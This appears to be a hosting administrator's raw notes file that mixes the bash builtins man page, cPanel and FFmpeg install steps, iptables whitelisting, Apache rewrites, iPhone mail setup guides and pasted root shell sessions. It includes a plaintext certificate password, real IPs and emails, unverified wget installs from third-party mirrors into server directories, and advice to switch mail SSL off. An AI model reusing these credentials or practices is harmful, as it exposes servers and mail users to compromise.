                     If  the  second argument is one of the binary conditional
                     operators listed above under CONDITIONAL EXPRESSIONS, the
                     result of the expression is the result of the binary test
                     using the first and third arguments as operands.  If  the
                     first  argument  is  !,  the value is the negation of the
                     two-argument test using the second and  third  arguments.
                     If the first argument is exactly ( and the third argument
                     is exactly ), the result is the one-argument test of  the
                     second  argument.   Otherwise,  the  expression is false.
                     The -a and -o operators are considered  binary  operators
                     in this case.
              4 arguments
                     If the first argument is !, the result is the negation of
                     the three-argument expression composed of  the  remaining
                     arguments.  Otherwise, the expression is parsed and eval-
                     uated according to  precedence  using  the  rules  listed
                     above.
              5 or more arguments
                     The  expression  is  parsed  and  evaluated  according to
                     precedence using the rules listed above.

       times  Print the accumulated user and system times for  the  shell  and
              for processes run from the shell.  The return status is 0.

       trap [-lp] [[arg] sigspec ...]
              The  command  arg  is  to  be  read  and executed when the shell
              receives signal(s) sigspec.  If arg is absent (and  there  is  a
              single  sigspec)  or  -,  each  specified signal is reset to its
              original disposition (the value it  had  upon  entrance  to  the
              shell).   If arg is the null string the signal specified by each
              sigspec is ignored by the shell and by the commands it  invokes.
              If  arg  is  not present and -p has been supplied, then the trap
              commands associated with each  sigspec  are  displayed.   If  no
              arguments  are  supplied or if only -p is given, trap prints the
              list of commands associated with each  signal.   The  -l  option
              causes  the shell to print a list of signal names and their cor-
              responding numbers.   Each  sigspec  is  either  a  signal  name
              defined  in  <signal.h>,  or  a signal number.  Signal names are
              case insensitive and the SIG prefix is optional.  If  a  sigspec
              is  EXIT (0) the command arg is executed on exit from the shell.
              If a sigspec is DEBUG, the command arg is executed before  every
              simple command, for command, case command, select command, every
              arithmetic for command, and before the first command executes in
              a  shell  function  (see  SHELL  GRAMMAR  above).   Refer to the
              description of the extdebug option  to  the  shopt  builtin  for
              details  of  its effect on the DEBUG trap.  If a sigspec is ERR,
              the command arg is executed whenever  a  simple  command  has  a
              non-zero  exit status, subject to the following conditions.  The
              ERR trap is not executed if the failed command is  part  of  the
              command  list  immediately  following  a while or until keyword,
              part of the test in an if statement, part of a && or ââ list, or
              if  the  commandâs  return value is being inverted via !.  These
              are the same conditions obeyed by  the  errexit  option.   If  a
              sigspec is RETURN, the command arg is executed each time a shell
              function or a script executed with the . or source builtins fin-
              ishes executing.  Signals ignored upon entry to the shell cannot
              be trapped or reset.  Trapped signals that are not being ignored
              are reset to their original values in a child process when it is
              created.  The return status is false if any sigspec is  invalid;
              otherwise trap returns true.

       type [-aftpP] name [name ...]
              With  no options, indicate how each name would be interpreted if
              used as a command name.  If the -t option is used, type prints a
              string  which  is  one  of alias, keyword, function, builtin, or
              file if  name  is  an  alias,  shell  reserved  word,  function,
              builtin,  or disk file, respectively.  If the name is not found,
              then nothing  is  printed,  and  an  exit  status  of  false  is
              returned.   If  the  -p  option is used, type either returns the
              name of the disk file that would be executed if name were speci-
              fied as a command name, or nothing if ââtype -t nameââ would not
              return file.  The -P option forces a PATH search for each  name,
              even if ââtype -t nameââ would not return file.  If a command is
              hashed, -p and -P print the hashed value,  not  necessarily  the
              file that appears first in PATH.  If the -a option is used, type
              prints all of the places that contain an executable named  name.
              This  includes  aliases  and  functions,  if  and only if the -p
              option is not also used.  The table of hashed  commands  is  not
              consulted  when  using -a.  The -f option suppresses shell func-
              tion lookup, as with the command builtin.  type returns true  if
              any of the arguments are found, false if none are found.

       ulimit [-SHacdefilmnpqrstuvx [limit]]
              Provides  control  over the resources available to the shell and
              to processes started by it, on systems that allow such  control.
              The -H and -S options specify that the hard or soft limit is set
              for the given resource.  A hard limit cannot be  increased  once
              it  is set; a soft limit may be increased up to the value of the
              hard limit.  If neither -H nor -S is specified,  both  the  soft
              and  hard limits are set.  The value of limit can be a number in
              the unit specified for the resource or one of the special values
              hard,  soft,  or  unlimited,  which  stand  for the current hard
              limit, the current soft limit, and no limit,  respectively.   If
              limit  is  omitted,  the  current value of the soft limit of the
              resource is printed, unless the -H option is given.   When  more
              than  one  resource  is  specified,  the limit name and unit are
              printed before the value.  Other options are interpreted as fol-
              lows:
              -a     All current limits are reported
              -c     The maximum size of core files created
              -d     The maximum size of a processâs data segment
              -e     The maximum scheduling priority ("nice")
              -f     The  maximum  size  of files written by the shell and its
                     children
              -i     The maximum number of pending signals
              -l     The maximum size that may be locked into memory
              -m     The maximum resident set size (has no effect on Linux)
              -n     The maximum number of open file descriptors (most systems
                     do not allow this value to be set)
              -p     The pipe size in 512-byte blocks (this may not be set)
              -q     The maximum number of bytes in POSIX message queues
              -r     The maximum real-time scheduling priority
              -s     The maximum stack size
              -t     The maximum amount of cpu time in seconds
              -u     The  maximum  number  of  processes available to a single
                     user
              -v     The maximum amount of virtual  memory  available  to  the
                     shell
              -x     The maximum number of file locks

              If limit is given, it is the new value of the specified resource
              (the -a option is display only).  If no option is given, then -f
              is  assumed.  Values are in 1024-byte increments, except for -t,
              which is in seconds, -p, which is in units of  512-byte  blocks,
              and  -n and -u, which are unscaled values.  The return status is
              0 unless an invalid option or argument is supplied, or an  error
              occurs while setting a new limit.

       umask [-p] [-S] [mode]
              The user file-creation mask is set to mode.  If mode begins with
              a digit, it is interpreted as an octal number; otherwise  it  is
              interpreted  as a symbolic mode mask similar to that accepted by
              chmod(1).  If mode is omitted, the current value of the mask  is
              printed.   The  -S  option causes the mask to be printed in sym-
              bolic form; the default output is an octal number.   If  the  -p
              option is supplied, and mode is omitted, the output is in a form
              that may be reused as input.  The return status is 0 if the mode
              was  successfully  changed  or if no mode argument was supplied,
              and false otherwise.

       unalias [-a] [name ...]
              Remove each name from the list of defined  aliases.   If  -a  is
              supplied,  all  alias definitions are removed.  The return value
              is true unless a supplied name is not a defined alias.

       unset [-fv] [name ...]
              For each name, remove the corresponding  variable  or  function.
              If no options are supplied, or the -v option is given, each name
              refers to a shell variable.   Read-only  variables  may  not  be
              unset.   If  -f  is specified, each name refers to a shell func-
              tion, and the function definition is removed.  Each unset  vari-
              able  or function is removed from the environment passed to sub-
              sequent commands.  If any of RANDOM, SECONDS,  LINENO,  HISTCMD,
              FUNCNAME, GROUPS, or DIRSTACK are unset, they lose their special
              properties, even if they are subsequently reset.  The exit  sta-
              tus is true unless a name is readonly.

       wait [n ...]
              Wait  for each specified process and return its termination sta-
              tus.  Each n may be a process ID or a job  specification;  if  a
              job  spec  is  given,  all  processes in that jobâs pipeline are
              waited for.  If n is not given, all currently active child  pro-
              cesses  are  waited  for,  and  the return status is zero.  If n
              specifies a non-existent process or job, the  return  status  is
              127.   Otherwise,  the  return  status is the exit status of the
              last process or job waited for.

SEE ALSO
       bash(1), sh(1)



GNU Bash-3.0                      2004 Apr 20                 BASH_BUILTINS(1)
root@click [/usr/local/apache/htdocs]#
export HISTTIMEFORMAT='%F%T' #histry|moreDear Andrew,

You can not forward .eml files from outlook cause we cannot save msoutlook email in .eml, but you could import Outlook's messages into Outlook Express and then save them as EML.
You can follow the steps given below to import the rfc822 files that  typically have a file extension of .eml or .msg

Steps for import .eml files :

Using Windows Explorer, open the folder containing the .eml or .msg files
Open Outlook or Outlook Express
Highlight the files in the windows folder
Click and drag the files into Outlook
That's it! You're done!
cannot install fantastico : http://www.netenberg.com/forum/index.php?topic=5430.0

How to install Fantastico on cPanel/WHM

Tutorial courtesy of netenberg.com

You don't need to download any files in order to install Fantastico!

Just SSH to your server and enter following commands (you may also copy/paste):

    cd /usr/local/cpanel/whostmgr/docroot/cgi
    wget -N http://files.betaservant.com/files/free/fantastico_whm_admin.tgz
    tar -xzpf fantastico_whm_admin.tgz
    rm -rf fantastico_whm_admin.tgz

NOW GO TO YOUR WHM -> Add-Ons (Plugins on v11.x or higher) -> Fantastico De Luxe WHM Admin (scroll down the left menu).

Follow the on screen instructions.

If you get a Source Guardian error when you go to Fantastico for the first time, just run this command:

    chmod -R 0755 /usr/local/cpanel/3rdparty/etc/ixed

After the installation is complete, click on "Settings" and go through the settings. While some settings are not important, some other (marked below with an *) are essential for a proper functioning of Fantastico installations.
Language: Select the language for the admin backend AND default language for users without a language selected.
Email notifications: Enter an email address in order to receive notifications when users perform installations using Fantastico.
Master files settings (*): If you are not an advanced user who modifies the master files, leave this to "Remove". Change this only if you know what you are doing
PHPsuexec (*): VERY ESSENTIAL!!! Changing this value will not install or de-install phpsuexec for you. It will only tell Fantastico that you have phpsuexec installed or not installed on your server. Change to "installed" if you perform installations which produce an "Internal Server Error". Notice: Changes will not apply to existing installations! You have to re-install in order to have working installations.
Path to netPBM: Enter the full path to the netPBM binaries in order to enable Gallery installations. As long as this field has no value, your users will not be able to install Gallery.
Select Fantastico licensing and files server: If the Fantastico pages take long to load switch to the server that works best for you. Fantastico will auto-switch if connections time out.
Update preference: Select latest version (sometimes experimental) or stable version (best working).

If your users don't see a Fantastico link in their CPanel: Go to WHM and edit the "default" Features List. Activate Fantastico. 


rpm -qa wget ;
wget ftp://ftp.funet.fi/pub/mirrors/ftp.redhat.com/pub/fedora/linux/core/5/i386/os/Fedora/RPMS/wget-1.10.2-3.2.1.i386.rpm
chattr -ia /usr/bin/wget
rpm -e wget ;
rpm -ivh --force wget-1.10.2-3.2.1.i386.rpm ;
rpm -qa wget ;http://www.eukhost.com/forums/f15/how-install-ffmpeg-ffmpeg-php-mplayer-mencoder-flv2tool-lame-mp3-encoder-4893/

How To Install FFmpeg + FFmpeg-PHP + Mplayer + Mencoder + flv2tool + LAME MP3 Encoder

Hello,

Following are the steps to install FFmpeg + FFmpeg-PHP + Mplayer + Mencoder + flv2tool + LAME MP3 Encoder + Libog on a Linux server or VPS Hosting Manually. There are many automated scripts available which install these but its better to do it manually as in case of an error occuring during the installation process, we can stop the installation and fix them. These steps also include the common fixes for such errors.


1.  

cd /usr/local/src/

DOWNLOAD MODULES

wget www3.mplayerhq.hu/MPlayer/releases/codecs/essential-20061022.tar.bz2
wget rubyforge.org/frs/download.php/9225/flvtool2_1.0.5_rc6.tgz
wget easynews.dl.sourceforge.net/sourceforge/lame/lame-3.97.tar.gz
wget superb-west.dl.sourceforge.net/sourceforge/ffmpeg-php/ffmpeg-php-0.5.1.tbz2
wget downloads.xiph.org/releases/ogg/libogg-1.1.3.tar.gz
wget downloads.xiph.org/releases/vorbis/libvorbis-1.1.2.tar.gz


2.


EXTRACT MODULES

tar zxvf lame-3.97.tar.gz
tar zxvf libogg-1.1.3.tar.gz
tar zxvf libvorbis-1.1.2.tar.gz
tar zxvf flvtool2_1.0.5_rc6.tgz
tar jxvf essential-20061022.tar.bz2 
tar jxvf ffmpeg-php-0.5.1.tbz2

mkdir /usr/local/lib/codecs/

yum install gcc gmake make libcpp libgcc libstdc++ gcc4 gcc4-c++ gcc4-gfortran subversion ruby ncurses-devel -y


3

DOWNLOAD FFMPEG and MPLAYER

svn checkout svn://svn.mplayerhq.hu/ffmpeg/trunk ffmpeg
svn checkout svn://svn.mplayerhq.hu/mplayer/trunk mplayer
cd /usr/local/src/mplayer

svn update

cd /usr/local/src/
mv /usr/local/src/essential-20061022/* /usr/local/lib/codecs/
chmod -R 755 /usr/local/lib/codecs/




4

LAME:

cd /usr/local/src/lame-3.97
./configure
make && make install


5.

LIBOGG

cd /usr/local/src/
cd /usr/local/src/libogg-1.1.3
./configure --enable-shared && make && make install
PKG_CONFIG_PATH=/usr/local/lib/pkgconfig
export PKG_CONFIG_PATH


6.

LIBVORBIS

cd /usr/local/src/
cd /usr/local/src/libvorbis-1.1.2
./configure && make && make install


7.


FLVTOOL2

cd /usr/local/src/
cd /usr/local/src/flvtool2_1.0.5_rc6/
ruby setup.rb config
ruby setup.rb setup
ruby setup.rb install


8. 


MPLAYER

cd /usr/local/src/
cd /usr/local/src/mplayer
./configure && make && make install

cd /usr/local/src/


9.

FFMPEG:

cd /usr/local/src/ffmpeg/
./configure --enable-libmp3lame --enable-libvorbis --disable-mmx --enable-shared
make
make install

10.

export LD_LIBRARY_PATH=/usr/local/lib/

ln -s /usr/local/lib/libavformat.so.50 /usr/lib/libavformat.so.50
ln -s /usr/local/lib/libavcodec.so.51 /usr/lib/libavcodec.so.51
ln -s /usr/local/lib/libavutil.so.49 /usr/lib/libavutil.so.49
ln -s /usr/local/lib/libmp3lame.so.0 /usr/lib/libmp3lame.so.0
ln -s /usr/local/lib/libavformat.so.51 /usr/lib/libavformat.so.51

11.

FFMPEG-PHP:

cd /usr/local/src/
cd /usr/local/src/ffmpeg-php-0.5.1/
phpize
./configure
make
make install

12.


NOTICE: Make sure this is the correct php.ini for the box!!

echo 'extension=ffmpeg.so' >> /usr/local/Zend/etc/php.ini

NOTICE: Make sure this is the correct php.ini for the box!!


13.

RESTART APACHE

service httpd restartuplaod software : kompozer  like Filzilla


How to Design and Publish Your Website with KompoZer


Uploading or Publishing Your First Web Page

To publish the page, go to "File | Publish" (ie, the "Publish" item on the "File" menu). A "Publish Page" dialog box will appear asking you for more details.

"Site Name" is the name that you want to give your website. Use the name that you gave to your website when asked for the title earlier (ie, "Shakespeare's Website" or "XYZ Company" or whatever). This name is only used by KompoZer internally, to refer to your site, but it's probably best to use the real name you ultimately wish to give to your site to minimize any confusion later.

The "HTTP address of your homepage" field specifies the actual web address (or URL) of your website. If you registered a domain name like "example.com" for your site, enter "http://www.example.com/" into this box. This field is required because KompoZer will use this information to form links on your site. Be sure to enter the "http://" prefix as well.

"Publishing server" is a bit more complicated to explain. When you signed up for your web hosting account from a commercial web host, you would have been given a whole bunch of details by your web host. Among these is something known as your "FTP address". FTP, or File Transfer Protocol, is the usual means by which you transfer your web pages from your own computer to your web host's computer. Transferring your pages from your computer to your web host's computer is known as "publishing" or "uploading" your pages.

For the purpose of this tutorial, I will assume that your web host told you that your FTP address is "ftp.example.com". You should substitute your real FTP address everytime you see "ftp.example.com" in the examples below.

Before you enter that address though, you will need to know which directory (or folder) you need to put your web pages. Some web hosts require you to put your web pages in a directory named "www". Others require you to put it in a "public_html" directory. Still others say that you are to put your web pages into the default directory that you see when you connect by FTP. And so on. Find out the directory where you're supposed to upload your web pages to.

Once you've got all the details, you're ready to form the address you have to enter into the "Publishing address" field.

If your FTP address is "ftp.example.com", and the directory that you're supposed to upload to is "www", enter "ftp://ftp.example.com/www" here. Notice that you have prefixed "ftp://" to your FTP address ("ftp.example.com"), added a slash ("/") and followed it with your web directory name ("www"). If your web host tells you to simply upload it to the directory you are logged into when you connect by FTP, then just enter "ftp://ftp.example.com" here.

The "User name" and "Password" fields in the dialog box refers to user name (or login name) and password that your web host assigned to you. It is needed so that KompoZer can connect to your FTP account and upload (publish) your pages.

When you've finished completing the information, click the "Publish" button. KompoZer will proceed to connect to your FTP account on your web host and upload your pages. There will be a dialog box that pops up to tell you it is uploading your page. The box will automatically disappear when KompoZer has completed its task.

If you get an error message from KompoZer, look through the guide above again and recheck all your settings. Most of the problems at this stage are caused by one of the settings not being correctly entered. If you have eliminated all possible errors in your settings and still get an "Unknown publishing error", check my FAQ on this.

Testing the Web Page
Before you proceed further, you need to test the web page you have uploaded. This way, you will know whether you've made any mistake when entering your details earlier.

Start up your browser. Type the URL (web address) of your website. This is the address that you typed into the "HTTP address" field earlier. For example, type "http://www.example.com" if that is your URL.

If you've entered the "publishing server" earlier correctly, you should see the page you created earlier in your web browser.

If you get an error like "No DNS for www.example.com" or "Domain not found", it probably means that your domain name has not yet propagated to your ISP. Put simply, this means that you probably only just bought your domain name. It takes time for a new domain name to be recognized across the world (usually 2 or more days), so it's possible that your ISP has not yet updated its name servers to recognize your new domain. Some web hosts give you a temporary address which you can use to access your website in meantime. If you have that, use the temporary address to check that your site has been uploaded properly. Otherwise, you'll just have to wait.

If you get an error like "404 File Not Found" or you get your web host's preinstalled default page, you may need to go back and check your "publishing server" field. You may have published your page to a location that is not recognized by the web server as the default page to show when only your domain name is entered.

You can change the settings that you have just entered by accessing the "Edit | Publishing Site Settings" menu. Then click the name of your website in the left pane, under "Publishing sites". One possibility for the page not showing is that you did not specify the correct directory on your web site to publish your index.html page to. A more remote possibility is that your web host requires that your page be named something other than "index.html". This is very rare nowadays, so explore this last possibility only when you've ruled out all others. At worse, ask your web host's support department or check their documentation for help.

If what you see is your domain parking page created by default when you first bought your domain name, it may mean that you forgot to point your domain name to your web hosting account. I strongly recommend that you go back and follow the steps given the How to Start / Make a Website in addition to following this tutorial. As mentioned before, there's more to creating a website than just using a web editor.

If you get no errors at all, but see the page that you've designed earlier, congratulations! You've created and uploaded your first web page. It may be a rudimentary page but you have successfully walked through all the essential stages of designing and uploading a web page./usr/local/cpanel/bin/apache_conf_distiller --update/scripts/rebuildhttpdconf


Will recreate httpd.conf
https only AND www only

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}

#RewriteCond %{HTTP_HOST} ^webhelpingaids\.com
#RewriteRule ^(.*)$ http://www.webhelpingaids.com/$1 [R=permanent,L]

Options +FollowSymLinks
RewriteEngine on
RewriteCond %{HTTP_HOST} ^digitalhothouse.co.nz [NC]
RewriteCond %{HTTP_HOST} ^www.digitalhothouse.co.nz [NC]
RewriteRule ^(.*)$ https://www.digitalhothouse.co.nz/ [L,R=301]
Hot to check ImageMagic ?

which convert

if its not installed on the server :

you can run the following command :

yum install ImageMagic
How to install ImageMagick on linux?
Here are the steps that I have followed :

============
1.Check whether ImageMagick has been installed or not.
which convert or which montage like this or locate ImageMagick. Or rpm -qa |grep ImageMagic
2. yum install ImageMagick
3. Now check once again.
4. rpm -ql ImageMagic| more
5. rpm -qf /usr/local/bin/convert //to check the exact rpm which has used for this binary.
============

That's it. Try now :) 
cd /var/www/html/                  or           /usr/local/apache/htdocs

pico serverstats_inc.php

<?php
echo exec(uptime);
?>

chmod 755 serverstats_inc.php
ADMIN PROCEDURE - Order SSL Certificate
 
Login to the server and generate the CSR / Key, use the following details..
 
Cert Info (this will be displayed when a user connects)
 
Host to make cert for                 domain (normally with www) or servername
Country (2 letter Abbrivation)       US
State                                           Texas
City                                           Humble
Company Name                          ghostcare
Company Division                     Networks
Email                                       sw@minmaxgroup.com
Password                                 jjdd93jfd

*********************************************************

New Details :

Hostname: chief.site.com
Company:  MinMax Group LLC
Division: Networks
Country:  US
State:    NY
City:     Long Island City
Email:    sw@minmaxgroup.com

cd /usr/local
wget http://downloads.ioncube.com/loader_downloads/ioncube_loaders_lin_x86.tar.gz
tar -zxvf gz-file-which-was-wgetted
cd ioncubeadd in php.ini
zend_extension="/home/juicydea/public_html/ioncube_loader_lin_5.2.so"block ip if there are 10 hits within a minute from same ip.

iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROPHello,

Please try to reconfigure the email account with the following configuration settings for the iPhone :

1.   First activate the phone screen, and then click on 'Settings'…
2.   next is to click on the iPhone Mail .
3.   Now to setup a new account click on 'Add Account'.
4.   Since Apple there are several preconfigured options in iPone like 'Google, 'Yahoo', 'Mac' and 'AOL', but probably you need to setup different mail since you are reading this iPhone tutorial.
     To setup a different account tap on 'Other'
5.   In this 'Other' section in your iPhone, choose POP, then fill the credentials for the mail account.
6.   set the Incoming mail : pop.domain.com
             Outgoing mail : smtp.domain.com
7.   When you are ready, double check the settings with the service provider and click 'Save' at the top right corner of the iPhone screen.
8.   This will put you back into the Mail section, but this time you will have the new account available at the top.
9.   Congratulations you have setup your mail. Now go to your main iPhone screen and click on 'Mail' icon.
10.  Then choose the iPhone account you just setup.
11.  There choose the iPhone inbox to see the downloaded messages.
12.  and set 'ON' the SSL for iPhone 'Outgoing mail server' and will change the server port to be 465.
13.  Save the changes and then go back to the main iPhone and check your mails.


For info you can refer the URL : 

http://www.onlinehowto.net/Tutorials/iPhone/Setup-iPhone-mail-account-settings/1116

Please check and confirm the same at your end.




How To - Configuring an IMAP connection for your iPhone
Applies to: SmarterMail all version 

This article will help you create a SmarterMail IMAP connection to an iPhone or iPhone 3G with Firmware 2.0.x. 

1. On the iPhone, click the Settings button
2. Click Mail, Contacts, Calendars button
3.Click the Add Account button
4. Click Other
5. Fill out the Name, Address (email address), Password and Description Fields
6. Click Save
7. Make sure IMAP is selected
8. Enter your Incoming Mail Server information
     * Hostname is generally mail.yourdomainname.com. If you aren't sure, contact your email hosting company
     * Username is your full email address
     * Password is the same password used to access webmail.
9. Enter your Outgoing Mail Server information
     * Hostname is generally mail.yourdomainname.com. If you aren't sure, contact your email hosting company
     * Username is your full email address
     * Password is the same password used to access webmail.
10. Click Save
11. The iPhone will attempt to establish an SSL connection to your IMAP and SMTP servers.
12. If this fails, you will see a prompt "Do you want to try setting up the account without SSL."
         *  Click No.
         *  Click Save
         *  When prompted "This account may not be able to send or receive emails. Are you sure you want to save?", select Save.
13.  Click the account you just added (identified by your email address)
14.  Scroll down and click the SMTP button.
15.  Select the server you just added, identified by the hostname from step 9a.
16.  Select "OFF" for Use SSL.
17.  Select "Password" for Authentication
18.  Select "25" for Server Port.
19.  Click the SMTP button to go back
20.  Click your email address to go back
21.  Click Advanced
22.  Scroll down to Incoming Settings.
23.  Select "OFF" for Use SSL
24.  Select "Password" for Authentication
25.  Select "143" for Server Port
26.  Click your email address to go back
27.  Click Mail to go back
28.  Hit the Home button
29.  Hit the Mail App to check your configuration



****************************************************************************************************************

https://docs.rice.edu/confluence/display/ITTUT/iPhone+Email+Configuration+(First+Time+Setup)

iPhone Email  Setup

This guide is for users who are NOT using Mac Mail or Microsoft Outlook, since iTunes can sync your settings from these programs directly to the iPhone.

On the Home screen, click "Settings", Select "Mail", "Add Account...", "Other" IMAP 


Fill in the first 3 fields with your name (this will appear in the "From" field of messages you send); the email address you send mail from (this can be your NetID or your full-name email address, whichever you want to be known as) and a label for what you want your account to be called on your iPhone (this won't affect your mail account in any way, it is just a label). 


For the "Incoming Mail Server" section:

Under "Host Name" write imap.mail.rice.edu
Under "User Name", write your Rice NetID
Input your NetID password in the field provided 

For the "Outgoing Mail Server" section:

Under "Host Name", write: smtp.mail.rice.edu
Under "User Name", write your Rice NetID
Input your NetID password in the field provided

Click "Save". It may give you an error message, but your settings should still work.Click "Advanced" and ensure that SSL is "ON" in both sections 

iptables -A INPUT -s IP -j ACCEPT
iptables -nL | grep IP
service iptables save iptables -L -n |grep 115.248.197.138

to check whether the IP is blocked.dc IP adding

Hello,

We have added your IP in whitelist of our server firewall and add the iptables rule also.  The commands we executed on the shell are as follows.  Please check and let us know if we need to do something else also.
iptables -A INPUT -s 72.29.79.51 -j ACCEPT ; /sbin/service iptables save
csf -a 72.29.79.51

Regards,
Udele
root@oyster [~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
67.23.226.130   0.0.0.0         255.255.255.255 UH    0      0        0 eth0
76.102.169.186  -               255.255.255.255 !H    0      -        0 -
67.23.226.131   0.0.0.0         255.255.255.255 UH    0      0        0 eth0
67.23.226.134   0.0.0.0         255.255.255.255 UH    0      0        0 eth0
67.23.226.135   0.0.0.0         255.255.255.255 UH    0      0        0 eth0
67.23.226.132   0.0.0.0         255.255.255.255 UH    0      0        0 eth0
67.23.226.133   0.0.0.0         255.255.255.255 UH    0      0        0 eth0
72.29.95.172    -               255.255.255.255 !H    0      -        0 -
67.23.226.138   0.0.0.0         255.255.255.255 UH    0      0        0 eth0
67.23.226.136   0.0.0.0         255.255.255.255 UH    0      0        0 eth0
67.23.226.137   0.0.0.0         255.255.255.255 UH    0      0        0 eth0
67.23.226.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0
169.254.0.0     0.0.0.0         255.255.0.0     U     0      0        0 eth0
0.0.0.0         67.23.226.1     0.0.0.0         UG    0      0        0 eth0
root@oyster [~]# ip route del 72.29.95.172
root@oyster [~]# ip route del 76.102.169.186
root@oyster [~]# iptables -nL | grep 76.102.169.186
root@oyster [~]# iptables -nL | grep 72.29.95.172
           all  --  72.29.95.172         0.0.0.0/0
DROP       all  --  72.29.95.172         0.0.0.0/0
ACCEPT     all  --  72.29.95.172         0.0.0.0/0
ACCEPT     all  --  0.0.0.0/0            72.29.95.172
root@oyster [~]# csf -a 72.29.95.172
add failed: 72.29.95.172 is in already in the allow file /etc/csf/csf.allow
root@oyster [~]# vim /etc/sysconfig/iptables
root@oyster [~]# /etc/init.d/iptables save
Saving firewall rules to /etc/sysconfig/iptables:          [  OK  ]
root@oyster [~]# /etc/init.d/iptables restart
Flushing firewall rules:                                   [  OK  ]
Setting chains to policy ACCEPT: mangle filter             [  OK  ]
Unloading iptables modules:                                [  OK  ]
Applying iptables firewall rules:
When the server is able to WHM but not able to ssh and ssh restart failed, then

from WHM >> ConfigServer Security & Firewall >> disable firewall >> then try to ssh 

and run following commands 

root@fast [~]# iptables -A INPUT -s 124.124.124.118 -j ACCEPT 
root@fast [~]# iptables -A OUTPUT -s 124.124.124.118 -j ACCEPT 

Once  ip gets added , save the iptables with the commands below :

/etc/init.d/iptables save

to list added IP's run the command >> 

iptables -L

now from shell 
csf -e  

this will enables the firewall or from WHM run >> firewall enable.

************************************************************************
bellow command will descripbe all the options with the iptables 

man iptables 




how to save iptables


/etc/init.d/iptables save
/etc/init.d/iptables save


/etc/init.d/iptables stop
Flushing firewall rules:                                   [  OK  ]
Setting chains to policy ACCEPT: filter                    [  OK  ]
Unloading iptables modules:                                [  OK  ]



 /etc/sysconfig/iptables:
this is the path for iptables
***************************************************************************************

http://www.linuxforums.org/forum/linux-security/25051-how-save-iptables.htmlYou are on a an ISP that blocks their users from using any SMTP server other than their own. Your solution is as follows:

    1. To setup your ISP's SMTP servers for your outgoing email, you must click on your account settings in the email client you are using.

    2. In the SMTP (outgoing mail server) field, you will enter the SMTP server address for your ISP, such as smtp.yourisp.com. You must then enter the username and password for your ISPs mail server. For a list of ISPs and their SMTP server address, please click here.

    3. In Outlook Express, this is at the bottom of that same tab. You must uncheck My server requires authentication and click on Settings to enter the username and password for your ISP.

Your email will still be from your own domain name, the only difference is in the way it is routed throughout the internet. Instead of being sent through our servers, it is processed through your ISP. This allows your ISP to monitor your email in case of a spam complaint.Joomla passwprd reset script 

http://www.crushedge.com/content/scripts/joomla-administrator-password-reset-script

Virtumart  error from joomla for mails:


"Warning: Could not send a message to" when notify after changing order status

My problem is that I receive the following error message if I want to notify customers when I change their order status :
Warning: Could not send a message to username, name@emaill.com () 

Cehck the URL :   http://forum.virtuemart.net/index.php?topic=34555.msg118383


Problem : I'm using Joomla 1.0.13 with VirtueMart 1.0.13a

My Joomla mail system is setup with smtp and is working fine (I can send successfully massmailing through the joomla admin)

What can I do to solve that problem ? 
The solution has maybe even been explained but I can't find the topic...

Many thanks for your help, this problem is blocking for me.


Solution : 


The SOLUTION is to 

Change the Mail Format from HTML to TEXT, there's probably a bug in the HTML email variant of the code... 

To make the Change, log into the back-end..means into joomla admin area 
Choose Virtuemart.
Next Click on Admin / Configuration
Scroll to the bottom of the Global Tab.
Change Order-mail format: to Text Mail

Test by changing status  and notifying a customer order..

Be Sure the Global MAil configuration is set to phpMail()

How to Change Global MAil configuration to phpMail()
Go to Home >> Global confoguration >> mail >> set mailer to PHP mail functionBroadcast message from root (Tue Sep 21 23:31:26 2010):

SERVER is REBOOTED as KERNEL is UPGRADED

Broadcast message from root (Tue Sep 21 23:31:26 2010):

SERVER is REBOOTED as KERNEL is UPGRADED

Broadcast message from root (Tue Sep 21 23:31:26 2010):

The system is going down for reboot NOW!
Using username "3gteam".
3gteam@chief.site.com's password:
Last login: Wed Sep 22 01:04:00 2010 from 115.248.197.138
cpanel backups are pushing to the new /backup drive attached to this server.
DO NOT INTERRUPT THE BACKUP PROCESS.
-- HD NOC, 8/11/10
3gteam@chief [~]# su -
Password:
root@chief [~]# pico ~3gteam/kscript
root@chief [~]# pico /var/spool/cron/root
root@chief [~]# 0 0 1 * * /home/3gteam/kscript > /dev/null 2>&1
root@chief [~]# /etc/init.d/crond restart
Stopping crond:                                            [  OK  ]
Starting crond:                                            [  OK  ]
root@chief [~]# uname -r

2.6.18-194.11.4.el5
root@chief [~]# uname -m




SERVER is REBOOTED as KERNEL is UPGRADED

Broadcast message from root (pts/1) (Wed Sep 22 04:20:36 2010):

SERVER is REBOOTED as KERNEL is UPGRADED

Broadcast message from root (pts/1) (Wed Sep 22 04:20:36 2010):

SERVER is REBOOTED as KERNEL is UPGRADED

Broadcast message from root (pts/1) (Wed Sep 22 04:20:36 2010):

SERVER is REBOOTED as KERNEL is UPGRADED

Broadcast message from root (pts/1) (Wed Sep 22 04:20:36 2010):

The system is going down for reboot NOW!
Using username "3gteam".
3gteam@excel.nseasy.com's password:
Last login: Wed Sep 22 04:24:16 2010 from 115.248.197.138
3gteam@excel [~]# su -
Password:
root@excel [~]# uname -r
2.6.18-194.11.4.el5
root@excel [~]# uname -m
i686
root@excel [~]#

i686
root@chief [~]# pico ~3gteam/kscript
root@chief [~]#
How to upgrade kernel on linux?
Guys,

I referred the following steps :

============================
1. cd /usr/local/src
2. wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-x.y.z.tar.bz2 //replace the version that you want to install or check it at http://www.kernel.org/
3. tar -xjvf linux-2.6.35.4.tar.bz2 -C /usr/src
4. cd /usr/src/linux-2.6.35.4
5. make menuconfig //if gcc is not there just install it like : yum install gcc

Note : You can enable various option here. But make it sure that you have enabled kernel config option. Go to General option >> Kernel .config support(enter space) and exit. (save the changes). make oldconfig > Use when upgrading kernel, only asks if new options.

6. make
7. make modules
8. make modules_install

Note(Do the following) : # ln -s /usr/src/linux-2.6.35.4 /usr/src/linux
# ln -s /usr/src/linux-2.6.35.4 /usr/src/linux-2.6

9. make install

Note : It will install three files inside the /boot directory :

* System.map-2.6.35.4
* config-2.6.35.4
* vmlinuz-2.6.35.4 and vmlinuz will point here.

example(For my case):

----------
root@server [/usr/src/linux-2.6.35.4]# make install
sh /usr/src/linux-2.6.35.4/arch/x86/boot/install.sh 2.6.35.4
